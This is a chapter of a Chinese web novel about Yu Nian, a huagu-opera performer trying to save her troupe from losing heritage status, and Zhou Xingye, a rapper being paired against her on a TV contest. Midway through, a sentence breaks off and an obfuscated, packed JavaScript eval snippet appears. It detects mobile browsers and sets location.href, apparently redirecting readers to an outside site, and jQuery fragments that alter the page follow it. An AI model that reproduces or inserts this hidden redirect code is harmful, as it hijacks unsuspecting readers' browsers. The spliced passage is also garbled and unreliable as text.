七月的星城像个大蒸笼悬在天上，下头是火炉子烧沸水，蒸笼里的人走两脚路，都感觉到出气不赢。


    北辰老街上，“星城花鼓戏剧团”的招牌红漆掉得差不多了，露出木头本色。


    虞念的布鞋在戏台上碾出半圆轨迹，这是丑旦俏步的起式—足尖外八字点地，膝盖内扣如蛙蹼，臀部落到离地三寸便急刹。


    师父说过，这分寸是祖师爷用戒尺量出来的：矮一分显蠢，高一分露怯。


    膝盖一沉，整个人便矮了半截，偏又踩着鼓点弹跳起来，活像只灵巧的竹编弹簧。


    她手里那条素色帕子甩得“啪啪”脆响，腕花一翻，帕角便旋出银鱼摆尾般的弧线，比湘江里最刁钻的游鱼还要活泛三分。


    杏色的练功服早被汗水浸透，湿漉漉地贴在后背上，将那一对蝴蝶骨勒得分明。那是常年练功磨出来的轮廓。


    手机支在戏箱上直播，屏幕里零星飘着几条弹幕：


    「这帕子甩得好利落」


    「唱的啥？听不懂哎，别唱了，不如跳科目三，我给你刷火箭！」


    她眼扫过弹幕，下意识摸向腰间，那里藏着本《抖音直播间运营手册》


    “念念，歇口气。”李伯的鼓槌敲了敲桌沿，白发汗湿贴在额头，“老胳膊老腿都快被你练散架了。”他刚放下鼓槌老年机突然唱起女团热曲，屏幕里女孩们穿着改良汉服跳Kpop，弹幕刷得飞快：


    「国风美少女」


    老鼓手突然把鼓槌往桌上一拍，缺角的木桌震得奶茶杯里的芋圆跳起来：“胡闹！汉服开衩到胯，比《打铜锣》里林十娘的裤脚还短！哪点像国风？”


    虞念噗嗤笑出声，现在能听懂“林十娘”的年轻人，比剧团里那套祖师爷传下来戏服还稀罕。


    她扯了扯黏在背上的衣服，布料摩擦皮肤的声响，倒比手机里的电子音更实在。


    她的目光落在旁边缺角的桌子上那杯奶茶里。


    奶茶是李伯孙女，李雯西留下来的。


    西西刚在这儿待了三分钟，见虞念只顾着踢腿下腰，把手机直往她脸上怼：“音乐节真不去？周兴野今天压轴！”又往她耳边凑了凑，用气声悄悄对她说道“我请假了。嘘！”


    “咦，就那个唱歌叽里呱啦像念咒一样的”虞念撇了撇嘴。一脸嫌弃看着屏幕上那个痞笑的男人。“


    “那是电音！！！你懂不”


    “没实力，才只能用高科技掩盖声线，不如听我唱，讨学钱啊~原汁原味”


    “唱的好不好不重要，现场够炸才重要，你不懂。”西西手一甩收了手机，大步离开。


    李伯对于她们两的斗嘴习以为常。他的眼神一直被桌上的奶茶吸引，见那紫色芋圆飘起来，他好奇的端起研究了半天，皱着眉头抿了一口，咽下去的声儿在西西走后就只有两人的排练厅里特别响。


    “豁，这玩意儿还蛮有味，里头还带点嚼劲，怪不得小年轻都喜欢。”他那口星城腔听着跟打鼓点般，带着节奏。


    “吱呀”一声，排练厅的门被推开了，热风卷着个穿西装的年轻人进来，把墙上《刘海砍樵》的剧照都吹得直晃悠。这是文化局的赵宇。


    “都在呢？”赵宇一开口，把台子上打盹的野猫都吓跑了。


    虞念点点头：“赵哥，有事？”


    赵宇脸色不太好：“上面要对非遗项目考核了，要是完不成‘现代化传播指标’，传承资格可能就保不住了，你们剧团也在名单里。”


    这话跟往油锅里倒凉水，涮一下就开了，李伯抓起桌上的鼓锤“啪”地往桌上一摔，本来就缺角的桌子，又被砸了一个大坑。


    飞上天的鼓棒惹得得房梁上的灰不停往下掉：“这算怎么回事？我们守了几十年的戏台子，就因为这个要撤？”


    虞念心里发慌，手指头不自觉地绞着帕子一角，声音强装镇定“赵哥，这个指标具体是啥？”


    赵宇从公文包里掏出文件：“就是社交媒体粉丝数、线上播放量这些。说白了，就是得让更多人知道花鼓戏。”


    “文件上写着呢，”赵宇翻到后面，“你们抖音一年涨粉不到300，看戏的平均年龄65岁，剧团收入全靠补贴”


    虞念越看眉头皱得越紧。团里老艺人连智能手机都用不利索，年轻演员又没几个，这任务简直是要她穿着戏服跳街舞——怎么看怎么都跳不出。


    “能多给点时间吗？”虞念指着一旁的手机，“您看这人数……”


    话音刚落，一辆直升机空降屏幕。周兴野的ID赫然浮现：


    「打卡博物馆里的活化石。」


    两人愣住。弹幕瞬间井喷：


    【卧槽活的顶流！】


    【野哥来砸非遗场子了】


    【姐姐别理！我就喜欢一边刷题一边看你甩帕子，跟你比速度】


    右上角在线人数从27飙到3.2万比剧团三年买票看戏的观众总和还多。赵宇眼睛冒光：“小虞，这一个人抵得上咱们……”后半句卡在嗓子里。


    虞念盯着屏幕，那些被嘲笑“土掉渣”的唱腔，此刻正被三万多人注视着。她的指尖发抖，心里偏不服气，反手点了禁言。


    赵宇摇摇头，“你别禁言噻，你让他说两句，涨点粉”


    见虞念不为所动，他叹口气眼睛扫过排练厅掉皮的墙面：“三个月已经是争取来的了。抖音，微博，两大平台账号涨粉30w，他顿了顿，脚尖蹭了蹭地上的坑，“还有啊，这地方，可能要拆。”


    赵宇一走，排练厅里安静得吓人。虞念盯着文件上“现代化”三个字，眼睛生疼。李伯过来拍拍她：“别急，总会有办法的。”


    “我出去透口气。”虞念关了直播，屏幕黑掉前她看见自己冷下来的嘴角。周兴野从直播间离开后，剩下来的人数，一样让她心寒。


    木楼梯在她脚下“吱呀”响，像发出叹气声。


    外头太阳毒得能把人烤化。一辆黑色奔驰“滴滴”按喇叭，车标晃得人眼花。虞念冷眼看着经纪人王庆降下车窗，车轮碾过水坑，泥点子全溅在剧团门口的“非遗”金属牌上，那牌子绿锈斑斑的，像被人遗忘多年的奖章。


    虞念冷眼看着来人走过来。


    “念念啊，”王庆拿手帕擦汗，腋下西装都湿透了，“《国潮新生代》冠军奖金一百万。”他递过来合同，“就是有个条件……”


    虞念看到第七条，手指头捏紧了合同：“他们要怎么创新改编？给戏服贴LED灯？还是让我去跳擦玻璃？”她声音都尖了，“上次让我穿戏服上恋爱综艺还不够？”


    “这次真不一样，”王庆心虚地翻合同，“你看，名角都来了。”虞念瞥了一眼他指的位置：“果然，连大剧种都出来找流量了？”


    “上面要撤非遗的事我知道了，”王庆突然抓住她的手，手心汗津津的，“陈老师的检查结果出来了，肺上有问题！你知道治疗多贵吗？”他又嘟囔一句，“再说上次恋爱综艺你也没去……”


    她转手腕想挣开他的手，发现白费力气“你莫扯我”又急又恼方言都飙出来了。


    一阵急促的咳嗽声打断了两人。王庆像是触电般松开了虞念的手，后者立刻甩给他一个恼怒的白眼。这还不解气，虞念又抬起脚，对着王庆锃亮的皮鞋狠狠踩了下去。


    “嘶”王庆倒吸一口凉气。心里暗想“到底是练家子。”看到来人后，他不敢再造次。


    陈凤英扶着门框站着，瘦得跟纸片人似的，脖子上挂着虞念去年送的护身符，里头装着戏台底下第一捧土。


    看到虞念不停用帕子擦着手腕，红的都快破皮，眼里涌上几分疼惜。


    她对着王庆当头棒喝“化生子，你莫欺负她啊，欺负唱戏的，要遭雷劈”


    她面色愠怒。一开口就是老生的骂鸡调。震得王庆屁都不敢放一个。


    她朝爱徒给了个安慰眼神，咳着嗽说，念念，咳……把合同接了”她抖着手指向角落的戏箱，“不过，要改只能改我编的新戏，《补锅》《打铜锣》这些老戏，一个字都不能动。”


    虞念的眼泪一下子涌上来，她想起十年前偷改《思凡》唱腔，被师父打得手心肿了三天。晚上师父给她上药时说：“戏比天大，因为天会变，戏不能变。”


    现在，他们得亲手把自己的天给改了。


    深夜的排练厅，虞念跪在神像前。香炉里的三炷香快烧完了，师父说过，吃戏饭的人，香灰往哪倒，命就往哪走。


    香灰突然齐刷刷断在她手里。


    “师父！”虞念心里一紧，猛地站起来。


    里屋，陈凤英正在收拾戏箱，灯光照着她佝偻的背。老人摸着每件行头，斧头，破碗，扁担，纺车，依依不舍的将他们收到一个红木箱里。这些老伙计，陪着他们每个春夏秋冬。虞念也相信，总有一天他们能重见天日。再见时到他们时。他们一定能更好的融入舞台。


    “念念，”师父突然咳出血来，抓住虞念的手腕，“记住，戏能改，魂不能改。”她从枕头底下摸出半块玉佩，“这是梅先生送你师祖的，真拆台的话……你就卖了，重建。戏台不垮，天就没踏”


    虞念把玉佩包好，塞进戏箱，对着师傅，重重磕了个头：“我能救剧团。”眼泪砸在木地板上，跟这些年为剧团流的心血一样，悄没声儿地就渗进去了。


    院子里的


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16327089|183274||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    老梨树随风晃起来，梨花扑簌簌往下落，月光底下像飞雪。师父总说，梨园行的梨花，是送孩子出门的。


    虞念在树下挖了个坑，把今天的戏单埋进去。纸上写着：


    「星城花鼓戏剧团最后公演


    主演：陈凤英，虞念


    剧目：《补锅》


    她刚想站起来，双腿却突然一软，膝盖重重砸在梨树盘错的树根上。手机从掌心滑落，屏幕在落叶堆里亮起刺眼的光：


    【星城文旅】


    花鼓戏戏台数字化扶持申请驳回通知。


    原因：未签约技术合作方，材料不完整。详情见附页。


    她咬着牙撑起身，掌心蹭破了皮，沾着泥土和碎叶。那些拍胸脯保证“没问题”来支援的技术公司，没见到真金白银前果然都是空谈。


    这一次，她必须找到一个真正能做事的—不吹牛，不画饼，能把承诺钉死在合同上的那种。


    ————


    京市·周兴野工作室


    混音师小吴第十七次按下播放键，耳机里的鼓点软趴趴的，跟踩扁的棉花糖般黏在音轨上甩都甩不掉。


    “这就是你熬了三天搞出来的玩意儿？”周兴野一脚踹开转椅，金属轮子在地面划出刺耳的声响。“这鼓点是老太太扭秧歌，808呢？Drop呢？”


    小吴额头的汗滴在调音台上，他偷瞄着周兴野拳头上暴起的青筋，那底下埋着去年格莱美后台揍人时留下的伤疤，骨头上的疤都成了永恒勋章。


    “野哥，您不是说要‘中式意境’嘛，我特意加了古筝采样”


    “我要的是噼里啪啦炸裂的火药桶！！！”周兴野暴躁地抄起保温杯，狠狠砸向全息投影里那个正在侃侃而谈的自己，杯中的红枣枸杞顿时泼洒而出，在空气中划出一道暗红的弧线，“不是他妈的清汤寡水的养生茶！”


    保温杯直接穿过全息影像，在投影幕布上砸出闷响。虚拟的他因设备震动出现波纹状畸变，但很快恢复。


    经纪人老陈冲了进来，手机直接怼到周兴野眼前：#周兴野disstrack断章取义#、#不尊重传统#的热搜正以每分钟三万的速度往上窜，那个红色的“爆”字刺得人眼球发炸。


    “所有品牌方都在等回应。”老陈的定制衬衫被汗浸得透透的，贴在背上，“你知道昨天《国粹有新人》直播事故吗？”老陈打开手机相册：一个民谣歌手拒绝改编传统戏剧，被弹幕骂到直接关麦，“台里要你带#非遗直播#话题发三条短视频预热，首播时直播间必须破500万人在线。”


    周兴野放大画面角落—那个被网暴的歌手，戴的表和他外公收藏的生旦净末丑是同个系列。


    周兴野冷笑一声，撩起手上的袖子，一行草书“声喧乱石中”在灯光下若隐若现。这是他十八岁地下battle夺冠后纹的，当时他妈指着他鼻子骂：“早晚把你这一身反骨熬成渣。”


    “行啊。”他扯下监听耳机，金属接头在桌面磕了个响头，“那就让那些老古董看看，什么才是活着的传统。”


    ——


    紫檀茶馆


    普洱茶汤在钧瓷盏里打着转。周兴野盯着对面女人天青色旗袍上的杏花微雨跟高中学家长会那天，穿的那件一模一样。


    “《国潮新生代》？”周夫人指尖敲着合同，神情不悦“接受传统艺术改造？你连自己姓什么都快忘了，还改造别人？”


    “节目组要的就是冲突。”周母看完合同脸色稍微缓和。


    随手扔在桌上，转手用杯盖拨弄着浮沫，“第一轮让昆曲传人对战偶像歌手，第二轮安排英歌舞和街舞女团同台，第三轮皮影戏对战虚拟偶像，第四轮就是你俩……”


    “你的说唱和花鼓戏发源都是草根的叛逆之魂，节目组还算是懂一点传统文化的”


    ——


    三天前


    《国潮新生代》策划室，导演林凯回放完虞念的表演视频，突然暂停在她甩扇子的瞬间。扇子在空中回转像一道暗器，又狠又准。


    “把周兴野和她放一起PK。你说怎么样？”林凯看着老陈发来的周兴野微博小号的截图—最新点赞是条戏曲科普博文，“顶流rapper偷偷关注非遗传承人？这比我们设计的剧本还精彩！”


    执行制片犹豫着：“但周兴野刚因为disstrack惹争议……”


    “所以才要文化洗白！”林凯调出数据图，指尖点在屏幕上，“95后观众最爱看什么？高岭之花下神坛”他指着虞念的照片，“让她下戏台。”又戳向周兴野的照片，“逼他低头颅。”林凯在非遗组参赛选手上匆匆几笔，加上虞念的名字。“去，请吧”